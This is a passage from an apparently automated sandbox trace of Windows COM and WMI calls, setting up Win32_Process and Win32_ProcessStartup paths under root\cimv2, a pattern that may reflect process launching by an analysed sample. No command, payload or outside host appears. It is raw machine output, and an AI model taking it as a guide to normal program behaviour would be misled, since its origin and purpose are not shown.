pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x117c, varVal2=0x0), pType=0x29ac858*=19, plFlavor=0x29ac85c*=0) returned 0x0 [0104.822] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0104.823] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0104.823] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0104.823] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.823] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x63f4b0) returned 0x0 [0104.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x63f4b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0104.824] WbemDefPath:IClassFactory:CreateInstance (in: This=0x63f4b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x655a30) returned 0x0 [0104.824] WbemDefPath:IUnknown:Release (This=0x63f4b0) returned 0x0 [0104.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x655a30) returned 0x0 [0104.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0104.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0104.824] WbemDefPath:IUnknown:AddRef (This=0x655a30) returned 0x3 [0104.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0104.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0104.824] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x63e9f0) returned 0x0 [0104.824] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x63e9f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.824] WbemDefPath:IUnknown:Release (This=0x63e9f0) returned 0x3 [0104.824] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0104.825] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0104.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0104.825] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x2 [0104.825] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x1 [0104.825] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0104.825] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0104.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x655a30) returned 0x0 [0104.825] WbemDefPath:IUnknown:AddRef (This=0x655a30) returned 0x3 [0104.825] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x2 [0104.825] WbemDefPath:IWbemPath:SetText (This=0x655a30, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0104.825] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0104.825] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0104.825] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0104.825] WbemDefPath:IWbemPath:GetInfo (in: This=0x655a30, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0104.825] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0104.825] WbemDefPath:IWbemPath:GetInfo (in: This=0x655a30, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0104.825] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0104.825] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0104.825] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0104.825] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.826] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x63ebb0) returned 0x0 [0104.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x63ebb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0104.826] WbemDefPath:IClassFactory:CreateInstance (in: This=0x63ebb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x656ab0) returned 0x0 [0104.826] WbemDefPath:IUnknown:Release (This=0x63ebb0) returned 0x0 [0104.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x656ab0) returned 0x0 [0104.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0104.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0104.827] WbemDefPath:IUnknown:AddRef (This=0x656ab0) returned 0x3 [0104.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0104.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0104.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x65b620) returned 0x0 [0104.827] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x65b620, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.827] WbemDefPath:IUnknown:Release (This=0x65b620) returned 0x3 [0104.827] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0104.827] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0104.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0104.827] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x2 [0104.827] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x1 [0104.827] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0104.827] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0104.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ab0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x656ab0) returned 0x0 [0104.827] WbemDefPath:IUnknown:AddRef (This=0x656ab0) returned 0x3 [0104.827] WbemDefPath:IUnknown:Release (This=0x656ab0) returned 0x2 [0104.827] WbemDefPath:IWbemPath:SetText (This=0x656ab0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0104.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0104.827] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0104.828] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0104.828] WbemDefPath:IWbemPath:GetInfo (in: This=0x656ab0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0104.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0104.828] WbemDefPath:IWbemPath:GetInfo (in: This=0x656ab0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0104.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ab0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0104.828] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0104.828] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0104.828] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.828] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0104.828] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0104.828] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0104.828] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.829] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x5f5d70) returned 0x0 [0104.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f5d70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0104.829] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f5d70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x656b70) returned 0x0 [0104.829] WbemDefPath:IUnknown:Release (This=0x5f5d70) returned 0x0 [0104.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x656b70) returned 0x0 [0104.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0104.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0104.829] WbemDefPath:IUnknown:AddRef (This=0x656b70) returned 0x3 [0104.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0104.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0104.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b48b250) returned 0x0 [0104.829] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b250, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0104.829] WbemDefPath:IUnknown:Release (This=0x1b48b250) returned 0x3 [0104.829] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0104.829] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0104.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0104.830] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x2 [0104.830] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x1 [0104.830] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0104.830] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0104.830] WbemDefPath:IUnknown:QueryInterface (in: This=0x656b70, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x656b70) returned 0x0 [0104.830] WbemDefPath:IUnknown:AddRef (This=0x656b70) returned 0x3 [0104.830] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x2 [0104.830] WbemDefPath:IWbemPath:SetText (This=0x656b70, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0104.830] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656b70, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0104.830] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0104.830] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.830] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0104.830] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0104.830] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0104.830] IUnknown:Release (This=0x6124e8) returned 0x1 [0104.831] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b45d030) returned 0x0 [0104.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d030, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0104.831] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b45d030, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b45d310) returned 0x0 [0104.831] WbemLocator:IUnknown:Release (This=0x1b45d030) returned 0x0 [0104.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d310, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b45d310) returned 0x0 [0104.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d310, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0104.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d310, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0104.831] WbemLocator:IUnknown:AddRef (This=0x1b45d310) returned 0x3 [0104.831] 